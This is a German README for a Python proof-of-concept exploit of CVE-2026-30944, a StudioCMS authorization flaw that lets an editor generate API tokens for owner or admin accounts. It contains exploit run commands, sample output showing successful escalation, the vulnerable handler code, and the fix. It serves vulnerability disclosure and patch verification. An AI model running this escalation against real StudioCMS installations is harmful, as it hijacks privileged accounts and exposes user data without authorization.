
Python-Proof-of-Concept für CVE-2026-30944, das eine BOLA-Schwachstelle in StudioCMS ausnutzt, um über unsichere API-Token-Generierung Privilegien zu eskalieren.
StudioCMS Privilege Escalation durch unsichere API-Token-Generierung
Der Endpunkt POST /studiocms_api/dashboard/api-tokens in StudioCMS ≤ 0.3.0 erlaubt jedem authentifizierten Benutzer (mindestens mit der Rolle Editor), API-Tokens für jeden anderen Benutzer zu generieren, einschließlich owner- und admin-Konten.
Der Endpunkt akzeptiert einen user-Parameter im Request-Body, der die UUID des Zielbenutzers angibt, validiert jedoch nie, ob der anfragende Benutzer autorisiert ist, Tokens im Namen dieses Ziels zu erstellen. Dies ist eine klassische Broken Object Level Authorization (BOLA)-Schwachstelle, die zu vollständiger Privilegieneskalation führt.
┌──────────────┐ POST /api-tokens ┌──────────────┐
│ │ {"user":"<owner-id>"} │ │
│ Angreifer │ ─────────────────────────► │ StudioCMS │
│ (Editor) │ │ Server │
│ │ ◄───────────────────────── │ │
└──────────────┘ {"token":"eyJhb..."} └──────────────┘
│ │
│ GET /rest/v1/users │
│ Authorization: Bearer <owner-token> │
│ ─────────────────────────────────────────►│
│ │
│ ◄─────────────────────────────────────────│
│ [Vollständige Benutzerdaten als Owner] │
│ │
| Datei | Beschreibung |
|---|---|
cve_2026_30944_poc.py | Python-Exploit-Skript mit manuellen & automatisierten Modi |
README.md | Diese Datei |
LICENSE | MIT-Lizenz |
Editor-Kontopip install requests colorama
# Generiere ein API-Token für den Owner mit einem Editor-Konto
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Ergebnisse als JSON speichern
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--save
# Teste mit mehreren Rollen, um die Schwachstelle zu bestätigen
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
| Argument | Beschreibung |
|---|---|
-u, --url | Ziel-StudioCMS-Basis-URL |
--uuid | UUID des Zielbenutzers (z. B. Owner-Konto) |
| Argument | Beschreibung |
|---|---|
--username | Benutzername für die Authentifizierung |
--password | Passwort für die Authentifizierung |
| Argument | Beschreibung |
|---|---|
--save | Ergebnisse als JSON-Datei speichern |
--no-ssl-verify | SSL-Zertifikatsprüfung deaktivieren |
──────────────────────────────────────────────────────────
PHASE 1: Authentifizierung
──────────────────────────────────────────────────────────
[+] Als 'editor01' authentifiziert
[*] Session-Benutzer: editor01 (editor)
[*] Session-UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 2: Privilegieneskalation
──────────────────────────────────────────────────────────
[*] Ziel-UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generiere API-Token für Zielbenutzer...
[+] API-Token erfolgreich generiert!
[!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...
──────────────────────────────────────────────────────────
PHASE 3: Verifizierung
──────────────────────────────────────────────────────────
[*] Verifiziere Token-Zugriff auf REST-API...
[+] SCHWACHSTELLE BESTÄTIGT — Vollständiger API-Zugriff erreicht!
[*] 9 Benutzerdatensätze abgerufen
──────────────────────────────────────────────────────────
PHASE 2: Privilegieneskalation
──────────────────────────────────────────────────────────
[*] Ziel-UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generiere API-Token für Zielbenutzer...
[*] Zugriff verweigert (403 Forbidden) — Endpunkt könnte gepatcht sein
[-] Ausnutzung fehlgeschlagen — Token nicht generiert
Der verwundbare Handler unter packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (Zeilen 16–57) akzeptiert einen user-Parameter aus dem JSON-Body und übergibt ihn ohne Autorisierungsprüfungen direkt an die Token-Generierungsfunktion:
// [1] Prüft nur, ob der Aufrufer Editor ist — nicht, FÜR WEN ein Token erstellt wird
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] 'user' aus dem Request-Body — keine Validierung gegen die authentifizierte Session
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);
// [3] Direkt an die Token-Generierung übergeben — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);
Das Autorisierungsmodell prüft nur "ist der Aufrufer mindestens ein Editor?" statt "ist der Aufrufer autorisiert, ein Token für diesen spezifischen Benutzer zu erstellen?"
Aktualisieren Sie StudioCMS auf Version 0.4.0 oder höher:
npm install studiocms@latest
Dieses Tool wird ausschließlich für Bildungs- und autorisierte Sicherheitstestzwecke bereitgestellt.
Filipe Gaudard
Dieser PoC wird unter der MIT-Lizenz für Bildungszwecke veröffentlicht. Verwenden Sie es verantwortungsvoll und ethisch.
| Feld | Wert |
|---|
| CVE | CVE-2026-30944 |
| GHSA | GHSA-667w-mmh7-mrr4 |
| CVSS v3.1 | 8.8 (Hoch) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639: Authorization Bypass Through User-Controlled Key |
| CWE (sekundär) | CWE-863: Incorrect Authorization |
| MITRE ATT&CK | T1134 — Access Token Manipulation |
| OWASP API | API1:2023 — Broken Object Level Authorization |
| Betroffen | studiocms ≤ 0.3.0 |
| Behoben in | studiocms 0.4.0 |
| Argument | Beschreibung |
|---|
--auto-test | Automatisierte Multi-Rollen-Tests aktivieren |
--editor-user | Benutzername des Editor-Kontos |
--editor-pass | Passwort des Editor-Kontos |
--visitor-user | Benutzername des Visitor-Kontos |
--visitor-pass | Passwort des Visitor-Kontos |